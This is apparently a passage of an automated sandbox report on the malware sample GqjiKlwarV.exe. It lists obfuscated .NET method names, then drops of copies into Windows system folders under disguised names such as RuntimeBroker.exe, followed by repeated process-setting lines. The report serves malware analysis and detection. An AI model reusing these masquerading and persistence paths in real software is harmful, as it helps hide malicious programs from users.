Source: GqjiKlwarV.exe, ISnN9NWeSCMROjYktbQ.cs	High entropy of concatenated method names: 'Dispose', 'MoveNext', 'get_Current', 'Reset', 'get_Current', 'GetEnumerator', 'GetEnumerator', 'eCsS7OGVe5DL9Jyh90T6', 'fE85HQGVHflsFeJbx1Un', 'uCp763GVTFiEeV4OHCo9'
Source: GqjiKlwarV.exe, gpuChGcZhapEyVOBn6t.cs	High entropy of concatenated method names: 'OMHcuQrDos', 'QqUcESKsQy', 'g65cXqvis8', 'method_0', 'method_1', 'Fc2', 'method_2', 'method_3', 'DB1', 'l4kcpk0d3O'
Source: GqjiKlwarV.exe, Lb0MISiN0oBxOUY10bn.cs	High entropy of concatenated method names: 'fX1HlwVDEG', 'RRkTD9Gr1X6evhA7IHNX', 'WEuHB9GrMalbpPT9LH2B', 'HIELFcGrgxj2FfInBWMJ', 'wfwvL4Grri3PxAfgxk5J', 'kt5', 'P8ZiPdQpyK', 'ReadByte', 'get_CanRead', 'get_CanSeek'
Source: GqjiKlwarV.exe, S5aB0RHrgydIyVOishr.cs	High entropy of concatenated method names: 'vMtHVd8Tdd', 'k6r', 'ueK', 'QH3', 'bRFHIsXCFa', 'Flush', 'bHVHtc1usB', 'LAtHQlk7pm', 'Write', 'IBgHoL0YnZ'
Source: GqjiKlwarV.exe, BHRute5at2U8cgl2Agq.cs	High entropy of concatenated method names: 'YKVGXUsx8CW', 'sHT5MUYT4L', 'jf55gRqMa1', 'HE3515NfTH', 'fe0ppqGIdnUYNJhadUMp', 'NQipxGGIihjK388BF9pg', 'YnO4oAGIHHwpcfyUooDP', 'V2hMjLGITSVgkiaocyB8', 'xlY3FeGIeAcUQVoPR4NB', 'lWgHDPGIWEvSgGKiyrvf'
Source: GqjiKlwarV.exe, HKUR51caQfjBRsXH9kD.cs	High entropy of concatenated method names: 'KgxcMGYqJs', 'CSxcgB0BJr', 'DY2c1a16au', 'AnHcrmp0jP', 'RTbcmMX6MX', 'CehCKLG1OSqKw7Q4vlrq', 'wwJd0gG101VGmQ1T1qQ9', 'XNsx0XG1AeGFIAiasG6Z', 'UmivKFG15SeteNMQqHeb', 'MB7gHoG1h1UA4qTsODEv'
Source: GqjiKlwarV.exe, IYtU7eNGMjmwKLU6KcJ.cs	High entropy of concatenated method names: 'rC9', 'method_0', 'mxKGXs0D9F1', 'tIeGXYnciJt', 'aOMtKqG0d5qhusr6PfL1', 'PX2IFYG0i0ukAeQ0Z7mk', 'kTIevfG0HnNjIPsUhCVY', 'EgdOaIG0TUyuoXafH8iy', 'IMi5udG0eWQZAg8yNLrk', 'NqyyiUG0WVZpl6YpKaRf'
Source: GqjiKlwarV.exe, HQMK8iQOJRLn0xxS6DS.cs	High entropy of concatenated method names: 'method_0', 'method_1', 'YMNQALySpB', 'FgOQBNFYJr', 'Mh2QaJcCMJ', 'Dispose', 'bL8PmCG27l35Db364xJK', 'gFwNcRG2cIDuvnqvWSvj', 'moqiA7G2dRdsiMqEXpW4', 'ueFBPQG2i9u1SmrXr6Ep'
Source: GqjiKlwarV.exe, F4LSXO5pBlosKoXtZoG.cs	High entropy of concatenated method names: 'iJT5UvRZqt', 'IppHmYGIsOMqkplqFwV6', 'Stq4axGIYfnjvL3tXqlg', 'X5aaIRGIxyXcVeNQwhX3', 'yEqlC2GI9wKRqho7x0gw', 'bF10GRGINdm7ssitAl46', 'IPy', 'method_0', 'method_1', 'method_2'
Source: GqjiKlwarV.exe, qdr5k9sIju9XqjchkmA.cs	High entropy of concatenated method names: 'm1I', 'G4q', 'w29', 'sJYGXShthyw', 'W06GZbDkcwp', 'JpNxtRGOlmNpuQNmRsFq', 'yvfGJfGOjIgehHY7IYiC', 'BdUM1SGOKErCfp3kRSSO', 'EnslUIGO6oirJWN8ZOpU', 'hHbcbbGOx7pVgYjgVQu2'
Source: GqjiKlwarV.exe, X53LYKfmHggVC7YFRX6.cs	High entropy of concatenated method names: 'jl4f2Oa3sL', 'gSFfF8uMSK', 'x7EfwePRJD', 'UdtfzkRf0j', 'KxvuCPODgO', 'jcCuGGtS0D', 'RC2uRX3sn6', 'D22AVRGi4wytia6tAvK9', 'd20YhrGiyIYXTcWRsx8T', 'bNTUADGiv2Ny8S3THwvS'
Source: GqjiKlwarV.exe, tEjT4XX60A0SvZd2jLJ.cs	High entropy of concatenated method names: 'omUXYFQaQX', 'KBUoQVGT3OWXtL3IwLJ7', 'ckgEKkGTkZ27ZsKxsplv', 'yqeX9U2flL', 'IcuZcOGTUshAIbEep8ij', 'Quj5BNGT8HVAXF0rje5f', 'C376mJGTPvDWlGgNRgLG', 'uMuthPGTJ88i9rMfZR4l'
Source: GqjiKlwarV.exe, sc0Of1oxstw6PFphGg4.cs	High entropy of concatenated method names: 't51qYHGFu93Y9h5d3bsV', 'AncKZpGFEPoZUGZb29v9', 'V5n2ILq4xY', 'EOR0yYGFvylUTYKFGINd', 'eyTx28GF4NdlSNLQdswu', 'O5ldhuGFSUvxyn4N7tiP', 'F1UsN4GFlBy3edroiht6', 'nNEoBAGFjvsBLRxmaXb9', 'oJ10RhGFKqA2B5Ho7FKt', 'vbJoIIGF6dwksMCoYVur'
Source: GqjiKlwarV.exe, x6LuAOnL77qNOU6X5MD.cs	High entropy of concatenated method names: 'flWnAqG8gS', 'U9FnBoKsYs', 'NKonafySl4', 'PslIv8G70auKvj7xHrhL', 'IYRuxlG7AvNhe5ngQNbo', 'W4nMyqG7h4Qa26wS4qG6', 'QitVwaG7OleR4eMB7f9m', 'LoDnkMaUmx', 'mqyn7YmckK', 'uDyncEJltn'
Source: GqjiKlwarV.exe, Jmkcqa7dWJ8tCnYNALt.cs	High entropy of concatenated method names: 'DB4', 'method_0', 'method_1', 'method_2', 'method_3', 'method_4', 'method_5', 'A47', 'fC4', 'aK3'
Source: GqjiKlwarV.exe, onQAcoXfle3tcWpbKn1.cs	High entropy of concatenated method names: 'O3I', 'P9X', 'rDdGZ84ZmNx', 'vmethod_0', 'imethod_0', 'r3Bu5bGTyLemoL49FEfH', 'yQ91guGTvVoKgKdspC4N', 'Ox8lCYGTXMni35dKb0yA', 'cIOul0GTp4Z5jDI0pUqM', 'fVlJEnGT4A0p51TWt29o'
Source: GqjiKlwarV.exe, lAfgj53n5lrlmQbrlgE.cs	High entropy of concatenated method names: 'method_0', 'YU8', 'method_1', 'method_2', 'nAm3fvesKb', 'Write', 'Csv3ulr9jE', 'yt83Ea5w9i', 'Flush', 'vl7'
Source: GqjiKlwarV.exe, CJjLCHFhMVk5kqcZy8T.cs	High entropy of concatenated method names: 'ByoGuiw9qeS', 'nUjGuH0ZcD2', 'xc1GuTPahxv', 'fQEGueAcPKP', 'uoxGuWHYXpx', 'f69GuDq2H1v', 'oImGu5MWchi', 'KSVwfjgvLY', 'rG6Guhm7WQe', 'QDMGuOTfkB4'
Source: GqjiKlwarV.exe, sWjPaWhd7AK3iuDm62O.cs	High entropy of concatenated method names: 'QcVhH8qXjK', 'LP7hTTiHSi', 'X3kheEyIsV', 'sijhWavYDP', 'HFnhDVy8k6', 'zRdh5qropK', 'alUhhSI6Jv', 'ErOhOrcyIK', 'xmth02ncEH', 'CoXhAenxmx'
Source: GqjiKlwarV.exe, Fh8cvvLvcvF9i0gog4p.cs	High entropy of concatenated method names: 'cUMLScgjfG', 'jFBLlN6w7C', 'PQyLjsrkPn', 'Io0LKU65PE', 'ypgL6K4ABW', 'j7e24oGbfPIKXnowYwYK', 'FHYLXaGbnofMc5BOIUp0', 'VuEmB1GbZs24SK8mfb34', 'mVSEFiGbuaRAxcV1RcW8', 'JueM8HGbENkEagiHaNXS'
Source: GqjiKlwarV.exe, KqIcN9qSJ9AS5bqPZha.cs	High entropy of concatenated method names: 'm69JGkGWb0', 'pu4kbFGB9jObjCMNO6u3', 'nhtxpmGB6eli2TNdJqlu', 'K3iSyMGBxo7su1J9s670', 'bwaKsIGBs0XQYTuHp7WN', 'cbpqj55Rhi', 'kY8qKdXXTd', 'NVTq62ARDy', 'N5fqxGXJ1U', 'w26q9qPZJQ'
Source: GqjiKlwarV.exe, w8JnT3IDbVQSwGFrHIn.cs	High entropy of concatenated method names: 'DpuGXLwmrFV', 'NOfGu8QyAyZ', 'SGC6gRGojq5R9D3ouKT5', 'oCcGx0GoKYsXVX8MPMrC', 'pnwWU6Go6EttUEkeI92n', 'QXlBmuGo9Hqopy2KjGL2', 'soVxPpGoso6d3iFJndte', 'fU73fOGoYGfIkHqpxcAL', 'imethod_0', 'NOfGu8QyAyZ'
Source: GqjiKlwarV.exe, wmIxBYRdXOx6mNYC3jj.cs	High entropy of concatenated method names: 'ziPR0BcQTa', 'aGnRAqhfpG', 'yetOaMGkTrQRb0NjQZVl', 'XOlsCyGkiiYjqN62lVui', 'NLJfPSGkHavVQntjBO5f', 'nKJWrfGke9QTeS9vPpJO', 'k5oRMDgtf6', 'HwPoi2Gkh2mjUxjUMraK', 'M6FCDuGkDu8GTF9Xk1jQ', 'Lks4H6Gk5fX8Q5ShROaG'
Source: GqjiKlwarV.exe, n3Iy7Cs5t4dPXf7ZgpO.cs	High entropy of concatenated method names: 'VpbsbhtbEF', 'imfsM09JAQ', 'E0wsgl0Z65', 'L1uYprGOnksGvYF6ZAsD', 'BSbXTpGOZ9NEXhDfR0uW', 'SGL44LGOGtSbDYxRcQrd', 'nkBMtiGORahp88ihe6xR', 'T3bsO8vxy7', 'a7gs0FE6qL', 'aSCsAHInTb'
Source: GqjiKlwarV.exe, mNDY3UtiLmmCquPOpnd.cs	High entropy of concatenated method names: 'uZetTKUJ5P', 'hRsteyKrtS', 'ftAtWEtrgR', 'WvYtDKVGK5', 'gYIt5tiBUm', 'mL4thUqTIT', 'LABtORFncK', 'q9qt0aDdSg', 'vhCtAhDCeF', 'ONptBILlb1'
Source: GqjiKlwarV.exe, swajegEprPEMMJQboVV.cs	High entropy of concatenated method names: 'J4xEvnnNn2', 'csXE4LaL7e', 'YWIVnwGHjDpnZ7jioJaE', 'rRdb2PGHS6VQ8q3gAQ9g', 'XEFIF9GHlYsOGcE6Cpyo', 'Tsi3esGHKVCoNcQ3VKWt', 'ijxeViGH6O7AvSrbvM5k', 'zHKpK0GHx6gwM7J0D0Ag', 'Y5EDhNGH9ITm7gXMYbw7', 'VEKlSWGHsLW2EQEaSSgW'
Source: GqjiKlwarV.exe, QLqvowpJExRaQqeFmf7.cs	High entropy of concatenated method names: 'kmCkgHGDJGB0dykJ89Yk', 'Q661GBGDqTHiZQ77whUa', 'JjgVBxGDPaXk6hBKN8bA', 'YZelwD647f', 'IaMKbfGD84v7Oqp80g0i', 'iILX3OGDLSVnJBVCIJZh', 'Whu3WbGD3b4iRKmeo61E', 'k8NehtGDkqi9LF5dWPLC', 'YuMjGCsL72', 'QUf8NsGDiVuv6bqI2Hex'
Source: GqjiKlwarV.exe, CKn69LuTtTDciMkg36F.cs	High entropy of concatenated method names: 'P83', 'KZ3', 'TH7', 'imethod_0', 'vmethod_0', 'MRXGXyVHBgv', 'HCrGZG9rxI1', 'vaLCtlGihslC5gsuVcBT', 'NTQkEGGiOqpoy1PgqnUZ', 'tS3Xr4Gi0aFQCqbxPnip'
Source: GqjiKlwarV.exe, jJdBBIRrHnCBfZpLymu.cs	High entropy of concatenated method names: 'CJenEvkRBT', 'VSTqJZGkt7PWX7ZnSHLi', 'i7AeneGkQxD44AhbOLhG', 'uNOEJTGkoxKH5E3fBSFr', 'ITJIrCGkVVygJVSutAlK', 'nAWNmpGkIi7M3uRGbNt6', 'sSZjjGGk2yIO0EENuqw9', 'tWW6WUGkFx0tDwJLk6LB', 'gw3nCNSwEE', 'XS4nRHGUlw'
Source: GqjiKlwarV.exe, WyOu1lYluOZ8xA9BCac.cs	High entropy of concatenated method names: 'En5YYQMNeo', 'VsQ0nDGOBVSTGFhrAWt8', 'nDj4p4GOa6GkqKFZAfMG', 'EK2mwuGOb9XvVbsjStIC', 'KwUf9sGOMGnBGoPHFWmI', 'UeeYKDhgsu', 'x8ZMikGOWWilIUdXf2ow', 'uDhBstGODNsdfbf5bBVK', 'ddgQDuGO5FSCNLYEx4QS', 'yGU6fCGOhayivbAhxCfK'
Source: GqjiKlwarV.exe, fBS2HjhorEfToBg1APX.cs	High entropy of concatenated method names: 'NkmhFHMc9q', 'iK2hwDduns', 'k6fhzv6hYb', 'ieVOCjLhdN', 'LbSOGHg4dV', 'reWORMXHQN', 'To5OnABWg8', 'BtHOZFws5m', 'DMqOffC9cb', 'fnaOufViYS'
Source: GqjiKlwarV.exe, QpWKtULdIIhf69hBanJ.cs	High entropy of concatenated method names: 'method_0', 'LdXLHruDxL', 'OChLTtlxey', 'LDxLeSSqTL', 'RI2LWOq7xe', 'T6hLDTIBGQ', 'd5qL5FOATC', 'TNv4qkGbK1fMQhJxwV9q', 'RX5AH5Gbl2Zw1fVU1ARr', 'bqnG4KGbjKOA86D8H9EX'
Source: GqjiKlwarV.exe, oL6wWEkwKSt7t5VvwxV.cs	High entropy of concatenated method names: 'bkQ7Chf1Y7', 'qua7G4AVtf', 'daW7RjKCyk', 'eHI7nFLvdD', 'lDA7ZJrwVY', 'cH77f3kqSa', 'HX9u7hGMVS1Novh5AIQ9', 'InA0RuGMrXKdMIqrfvKs', 'LNt0IxGMm9pvq5Pq0vcw', 'VWCCTqGMI3tLNScLaYT5'
Source: GqjiKlwarV.exe, qvUXjeXb4usUoLSNWEx.cs	High entropy of concatenated method names: 'MLyXQfejZE', 'N4tZsrGeGRKsbjJQAfj3', 'kYtV7gGTzpqj9gxqp4So', 'gvQN5iGeCPg6Ie5C2H99', 'qSYNFfGeRQkk7aAfaxk0', 'P9X', 'vmethod_0', 'l5VGZ3DbwYf', 'imethod_0', 'VDwin3GT2bqicQLggx2Z'
Source: GqjiKlwarV.exe, vBUmScEdQtTbQdsqbmO.cs	High entropy of concatenated method names: 'SOFEHrWyoU', 'CqtETXMcwY', 'qRenXZGHaR2GUZT4o62F', 'KY3LAZGHAeNUPZt3wQ5P', 'gTuhvpGHBmCWlqS0tPBR', 'zmuO60GHbbVmcliGPMxU', 'w6c42KGHMjUuN68cX5K9', 'wqp4aDGHgwY9BkDlIGTx', 'hNn5hPGH1BwT7rqND3c8', 'neTv7JGHrmGDySZXuTiX'
Source: GqjiKlwarV.exe, xPM36bY5nAOHH7EFQah.cs	High entropy of concatenated method names: 'N2N', 'MYBGXj3iWl1', 'IlAYO6Geb5', 'GoUGXKA3ll1', 'tZWAWnG0EJ98JTvKP11T', 'kyUy6BG0XokKnCYT4KZF', 'VtDj4aG0fHolQ5eGe1Xp', 'up23cKG0uVucCroEc9gd', 'YhYQOEG0pgPHXHb1rX7Z', 'TWSTJdG0yTCA8en5XYmq'
Source: GqjiKlwarV.exe, cu6SR8JmCfGod8w82qH.cs	High entropy of concatenated method names: 'tEcJISDgIX', 'pLNJttxkZf', 'xPbJQe0jfl', 'o58JoKKBZu', 'NYuJ20T7Tf', 'iAqeDvGBOtOM2y7oqJ2e', 'pLJEROGB0Rjm8dls2MGw', 'mNqFw4GBAPuagYXc3TKR', 'NbZTpIGBB6GSykDT6uQ7', 'zyt9A6GBaaAoxKXjpHE8'
Source: GqjiKlwarV.exe, l3wjq0TrV4l503DOJ68.cs	High entropy of concatenated method names: 'SoSEl9GVEtuBs5xrcAiE', 'UPTsTvGVfmn4o0FynLZy', 'BBCjAeGVue4qV8l43DXM', 'eIlEDNGVX9cePlH7isD3', 'zpdTVcYrXg', 'Mh9', 'method_0', 'YBWTILXUkO', 'TGcTtBAD32', 'mD3TQr5xrW'
Source: GqjiKlwarV.exe, p1W3CgB6PIF7cloOXE.cs	High entropy of concatenated method names: 'IndexOf', 'Insert', 'RemoveAt', 'get_Item', 'set_Item', 'method_2', 'Add', 'Clear', 'Contains', 'jM4bXkUvw'
Source: GqjiKlwarV.exe, PeYs3FxQrvo72N9ePA.cs	High entropy of concatenated method names: 'jbcTlQGy7', 'kDGS0aGLipG9SeORnxpG', 'uLXWEIGLHXgD5qmAU6fY', 'IjdbwGGLctSZhYD2jZtw', 'YWZyqeGLdZB1Nxr3RCDy', 'dsvspF6Wc', 'nR4YVUkEX', 'anQNRwGmW', 'Sc3qANGAv', 'BCCPL3Ygo'
Source: GqjiKlwarV.exe, luuc4SpRZ5PBbgXGQBM.cs	High entropy of concatenated method names: 'KMhpZI3Pm9', 'OI5pfCi1Ta', 'JDxpupiscV', 'yyIpEoKwkA', 'L5npXixNTh', 'VByppCKg1l', 'NJdpy2sM2e', 'JiVpvtFkyE', 'H2up4dARbg', 'O6TpSAA6vX'
Source: GqjiKlwarV.exe, pARGH5HeMCCeSYuZabn.cs	High entropy of concatenated method names: 'Close', 'qL6', 'G9xHDoHRHZ', 'LuFH5yFY4M', 'vQXHhYyGLo', 'Write', 'get_CanRead', 'get_CanSeek', 'get_CanWrite', 'get_Length'
Source: GqjiKlwarV.exe, qkJ8Ov8J8NtUjI20nql.cs	High entropy of concatenated method names: 'A7o88GNwvV', 'WJR8LUpluI', 'tF1839OuNF', 'iHj8khMUCU', 'oW687Lx8KY', 'EwctJZGab1rkQuYklgmN', 'FpM69mGaBtucQfdORN9X', 'Lc7tm9GaayVwxJlJCMTL', 'Wjqm5TGaM0896R9SsXR0', 'JGfCSRGagCKnJSS9SCC4'
Source: GqjiKlwarV.exe, msZ1AHEsxHKV5HhxbLY.cs	High entropy of concatenated method names: 'b5iEkSXKjh', 'qhtabPGHDVX6MVagcyMS', 'hU20cSGH5cndcIrQ7ato', 'e8ujOQGHegFoCIQTQB9P', 'YUIMZnGHWhRe1h3HSfqY', 'GcJ5AXGHhfdaEP3VlJ0l', 'AWNGsgGHOJqTtpmBSagl', 'OacEN2Wufw', 'A9ZEq9OwfI', 'UuPEPnajxj'

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\cmd.exe

Executable created and started: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Jump to behavior

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe	Jump to dropped file

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File created: C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Jump to dropped file

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\RuntimeBroker.exe			Jump to dropped file
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	File created: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe			Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\GqjiKlwarV.exe

File created: C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Jump to dropped file

Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
